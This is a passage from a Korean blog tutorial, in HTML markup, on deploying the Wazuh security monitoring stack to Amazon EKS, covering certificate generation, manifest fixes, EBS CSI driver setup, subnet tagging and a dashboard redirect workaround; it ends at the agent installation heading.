&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;$ git clone [https://github.com/wazuh/wazuh-kubernetes.git](https://github.com/wazuh/wazuh-kubernetes.git)
$ cd wazuh-kubernetes&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;b&gt;SSL certificates 설정&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 경로에 있는 .sh를 실행해 pem 파일들을 생성시킨다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;wazuh/certs/indexer_cluster/generate_certs.sh
wazuh/certs/dashboard_http/generate_certs.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 1.png&quot; data-origin-width=&quot;717&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxcywk/btsB6xIfGiw/xoRIx4VOFGWyIdMQaYqKa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxcywk/btsB6xIfGiw/xoRIx4VOFGWyIdMQaYqKa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxcywk/btsB6xIfGiw/xoRIx4VOFGWyIdMQaYqKa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbxcywk%2FbtsB6xIfGiw%2FxoRIx4VOFGWyIdMQaYqKa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;717&quot; height=&quot;554&quot; data-filename=&quot;Untitled 1.png&quot; data-origin-width=&quot;717&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;aside&gt;  Trouble Shooting - window sh 실행
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://whareview.tistory.com/entry/Windows-%EC%9C%88%EB%8F%84%EC%9A%B0-10-%EC%97%90%EC%84%9C-sh-bash-%ED%8C%8C%EC%9D%BC-%EC%8B%A4%ED%96%89%ED%95%98%EA%B8%B0&quot;&gt;https://whareview.tistory.com/entry/Windows-윈도우-10-에서-sh-bash-파일-실행하기&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 window에서 sh를 실행해 파일을 얻으려했지만 파일 이름이 달라지는 이슈가 있어 우분투에서 실행하여 파일만 가져왔다.&lt;/p&gt;
&lt;/aside&gt;
&lt;h1&gt;코드수정 &amp;amp; 환경 설정&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 git clone 한 코드에는 몇가지 수정사항이 필요하다&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 수정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;wazuh image tag 변경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;github에 나와있는 코드에는 image tag가 잘못되어있어 dockerhub에 존제하는 tag로 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;image: &amp;lsquo;wazuh/wazuh-manager&amp;rsquo; &amp;rarr; image: 'wazuh/wazuh-manager:4.6.0&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;image: 'wazuh/wazuh-dashboard &amp;rarr; image: 'wazuh/wazuh-dashboard:4.6.0'&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 2.png&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brGbj9/btsCgxfmY95/CwYrMTgevfe26rBeaSN5b1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brGbj9/btsCgxfmY95/CwYrMTgevfe26rBeaSN5b1/img.png&quot; data-alt=&quot;버전으로 오류나는 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brGbj9/btsCgxfmY95/CwYrMTgevfe26rBeaSN5b1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrGbj9%2FbtsCgxfmY95%2FCwYrMTgevfe26rBeaSN5b1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1340&quot; height=&quot;186&quot; data-filename=&quot;Untitled 2.png&quot; data-origin-width=&quot;1340&quot; data-origin-height=&quot;186&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버전으로 오류나는 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;internal 오류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 라인값에는 true 아님 false가 와야하며 지워도 무방하다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 3.png&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpukv4/btsB8V9FHuc/zrMKAZRSBrkcBp8sNxk1Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpukv4/btsB8V9FHuc/zrMKAZRSBrkcBp8sNxk1Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpukv4/btsB8V9FHuc/zrMKAZRSBrkcBp8sNxk1Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpukv4%2FbtsB8V9FHuc%2FzrMKAZRSBrkcBp8sNxk1Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1041&quot; height=&quot;481&quot; data-filename=&quot;Untitled 3.png&quot; data-origin-width=&quot;1041&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;internet-facing 수정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/network-load-balancing.html&quot;&gt;https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/network-load-balancing.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로드밸런스의 체계가 Internal 여서 내부 ip 로 찍히고 있는 문제가 발생할 수 있으므로 코드 내부에서 svc yaml 파일들(wazuh manager 등 모든 svc)에 다음과 같이 'internet-facing' 옵션을 추가한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 4.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/efCGdX/btsCg27g0jf/EXmLYFXatMTsd2rAy13Kl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/efCGdX/btsCg27g0jf/EXmLYFXatMTsd2rAy13Kl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/efCGdX/btsCg27g0jf/EXmLYFXatMTsd2rAy13Kl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FefCGdX%2FbtsCg27g0jf%2FEXmLYFXatMTsd2rAy13Kl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;697&quot; height=&quot;354&quot; data-filename=&quot;Untitled 4.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;annotations:
    service.beta.kubernetes.io/aws-load-balancer-scheme: 'internet-facing'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 5.png&quot; data-origin-width=&quot;1010&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o7Zqf/btsCbeHItxB/yGBtJerx35JFRb55bFLIGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o7Zqf/btsCbeHItxB/yGBtJerx35JFRb55bFLIGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o7Zqf/btsCbeHItxB/yGBtJerx35JFRb55bFLIGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo7Zqf%2FbtsCbeHItxB%2FyGBtJerx35JFRb55bFLIGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1010&quot; height=&quot;98&quot; data-filename=&quot;Untitled 5.png&quot; data-origin-width=&quot;1010&quot; data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 로드 밸런스에 체계가 internet-facing이 되어있으면 성공이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 6.png&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KAfAM/btsCf1HNYtS/7bkKM0vWhKbxaCWaUIbwfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KAfAM/btsCf1HNYtS/7bkKM0vWhKbxaCWaUIbwfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KAfAM/btsCf1HNYtS/7bkKM0vWhKbxaCWaUIbwfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKAfAM%2FbtsCf1HNYtS%2F7bkKM0vWhKbxaCWaUIbwfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;425&quot; data-filename=&quot;Untitled 6.png&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;환경 설정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ebs csi driver를 설치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://documentation.wazuh.com/current/deployment-options/deploying-with-kubernetes/kubernetes-deployment.html&quot;&gt;https://documentation.wazuh.com/current/deployment-options/deploying-with-kubernetes/kubernetes-deployment.html&lt;/a&gt;&lt;/p&gt;
&lt;aside&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;  공식문서에는 다음과 같이 설명이 되어있다.&lt;br /&gt;&lt;br /&gt;&amp;bull; For Amazon EKS deployments using Kubernetes version 1.23 and later, an Amazon EBS CSI driver IAM role. The CSI driver requires that you assign an IAM role to work properly. Read AWS documentation to find instructions on &lt;a href=&quot;https://docs.aws.amazon.com/eks/latest/userguide/csi-iam-role.html&quot;&gt;Creating the Amazon EBS CSI driver IAM role&lt;/a&gt;. You need to install the CSI driver for both, new and old deployments. The CSI driver is an essential Kubernetes feature.&lt;br /&gt;&lt;br /&gt;쿠버네티스 버전 1.23 이상을 사용하는 Amazon EKS 배포의 경우 Amazon EBS CSI 드라이버 IAM 역할을 수행합니다. CSI 드라이버가 제대로 작동하려면 IAM 역할을 할당해야 합니다. AWS 설명서를 참조하여 Amazon EBS CSI 드라이버 IAM 역할 만들기에 대한 지침을 확인하십시오. 신규 배포와 기존 배포 모두에 CSI 드라이버를 설치해야 합니다. CSI 드라이버는 Kubernetes의 필수 기능입니다.&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ebs 관련 역할을 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/csi-iam-role.html&quot;&gt;https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/csi-iam-role.html&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;haml&quot;&gt;&lt;code&gt;eksctl create iamserviceaccount \
    --name ebs-csi-controller-sa \
    --namespace kube-system \
    --cluster eks-JaeHyuk \
    --role-name AmazonEKS_EBS_CSI_DriverRole \
    --role-only \
    --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy \
    --approve&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;brainfuck&quot;&gt;&lt;code&gt;eksctl create iamserviceaccount  --name ebs-csi-controller-sa   --namespace kube-system   --cluster eks-JaeHyuk    --role-name AmazonEKS_EBS_CSI_DriverRole    --role-only   --attach-policy-arn arn:aws:iam::aws:policy/service-role/AmazonEBSCSIDriverPolicy     --approve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드라이버를 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/managing-ebs-csi.html&quot;&gt;https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/managing-ebs-csi.html&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;brainfuck&quot;&gt;&lt;code&gt;aws eks describe-addon-versions --addon-name aws-ebs-csi-driver

eksctl create addon --name aws-ebs-csi-driver --cluster eks-JaeHyuk --service-account-role-arn arn:aws:iam::871065065486:role/AmazonEKS_EBS_CSI_DriverRole --force&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서브넷 tag 수정(로드 밸런스 미 생성 오류)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://repost.aws/ko/knowledge-center/eks-load-balancer-controller-subnets&quot;&gt;https://repost.aws/ko/knowledge-center/eks-load-balancer-controller-subnets&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 7.png&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;612&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uQtyU/btsCfAwU9wc/KTVWbQSS8W3FoktCJ9xFoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uQtyU/btsCfAwU9wc/KTVWbQSS8W3FoktCJ9xFoK/img.png&quot; data-alt=&quot;서브넷 오류 모습&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uQtyU/btsCfAwU9wc/KTVWbQSS8W3FoktCJ9xFoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuQtyU%2FbtsCfAwU9wc%2FKTVWbQSS8W3FoktCJ9xFoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1562&quot; height=&quot;612&quot; data-filename=&quot;Untitled 7.png&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;612&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서브넷 오류 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vpc &amp;rarr; 서브넷으로간뒤 각 서브넷 태그를 다음과 같이 추가해줬다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;kubernetes.io/role/internal-elb   1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 8.png&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S503Z/btsB8R7h4bR/QGpRHOCwMswuoKFbFpGwe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S503Z/btsB8R7h4bR/QGpRHOCwMswuoKFbFpGwe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S503Z/btsB8R7h4bR/QGpRHOCwMswuoKFbFpGwe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS503Z%2FbtsB8R7h4bR%2FQGpRHOCwMswuoKFbFpGwe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;888&quot; height=&quot;635&quot; data-filename=&quot;Untitled 8.png&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;635&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 해결되는것을 확인 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 9.png&quot; data-origin-width=&quot;1676&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yMPwP/btsB7iREBiL/iS6osrj6SkYRUrQfHFtZvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yMPwP/btsB7iREBiL/iS6osrj6SkYRUrQfHFtZvK/img.png&quot; data-alt=&quot;서브넷 태그 설정 전&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yMPwP/btsB7iREBiL/iS6osrj6SkYRUrQfHFtZvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyMPwP%2FbtsB7iREBiL%2FiS6osrj6SkYRUrQfHFtZvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1676&quot; height=&quot;261&quot; data-filename=&quot;Untitled 9.png&quot; data-origin-width=&quot;1676&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서브넷 태그 설정 전&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 10.png&quot; data-origin-width=&quot;1609&quot; data-origin-height=&quot;381&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bccy1a/btsB6wo4CjP/2fuGhRspIh6zUKXhv2KKt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bccy1a/btsB6wo4CjP/2fuGhRspIh6zUKXhv2KKt0/img.png&quot; data-alt=&quot;서브넷 태그 설정 후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bccy1a/btsB6wo4CjP/2fuGhRspIh6zUKXhv2KKt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbccy1a%2FbtsB6wo4CjP%2F2fuGhRspIh6zUKXhv2KKt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1609&quot; height=&quot;381&quot; data-filename=&quot;Untitled 10.png&quot; data-origin-width=&quot;1609&quot; data-origin-height=&quot;381&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;서브넷 태그 설정 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 11.png&quot; data-origin-width=&quot;1533&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eaObbY/btsB6tF0vgu/Qw8NpzEMouROD6jJtsUt31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eaObbY/btsB6tF0vgu/Qw8NpzEMouROD6jJtsUt31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eaObbY/btsB6tF0vgu/Qw8NpzEMouROD6jJtsUt31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeaObbY%2FbtsB6tF0vgu%2FQw8NpzEMouROD6jJtsUt31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1533&quot; height=&quot;161&quot; data-filename=&quot;Untitled 11.png&quot; data-origin-width=&quot;1533&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wazuh 서버에 접속하는 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kubectl exec -it wazuh-manager-master-0 -n wazuh --/bin/bash&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;최종 wazuh-kubernetes.zip 수정 파일&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/W5EdG/btsB7khOadw/kLKu8WiPwURvPHcexTGxt1/wazuh-kubernetes.zip?attach=1&amp;amp;knm=tfile.zip&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;wazuh-kubernetes.zip&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.88MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;eks에 배포&lt;/h2&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;kubectl apply -k envs/eks/&lt;/code&gt;&lt;/pre&gt;
&lt;aside&gt;&lt;/aside&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  Trouble Shooting - 잘못된 리다이렉트 이슈&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인을 진행하면 /app/wz-home으로 이동되며 application을 찾을 수 없다는 오류가 나오지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 12.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;781&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x2C6K/btsB8V2YlAe/gm0RMbdnyBg3k4UXod2ccK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x2C6K/btsB8V2YlAe/gm0RMbdnyBg3k4UXod2ccK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x2C6K/btsB8V2YlAe/gm0RMbdnyBg3k4UXod2ccK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx2C6K%2FbtsB8V2YlAe%2Fgm0RMbdnyBg3k4UXod2ccK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;781&quot; data-filename=&quot;Untitled 12.png&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;781&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/app/wazuh로 이동해보면 문제없이 화면이 보이는것을 확인 할 수 있다.\&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 13.png&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;944&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMmbQc/btsCgpIqkuE/9oLzKNGUJ6XhXUJfTIyiu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMmbQc/btsCgpIqkuE/9oLzKNGUJ6XhXUJfTIyiu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMmbQc/btsCgpIqkuE/9oLzKNGUJ6XhXUJfTIyiu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMmbQc%2FbtsCgpIqkuE%2F9oLzKNGUJ6XhXUJfTIyiu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;944&quot; data-filename=&quot;Untitled 13.png&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h1&gt;wazuh agent 설치&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wazuh 서버를 설치했다면 모니터링하고 싶은 서버에 agent를 설치해줘야한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;agent 설치 방법&lt;/h3&gt;
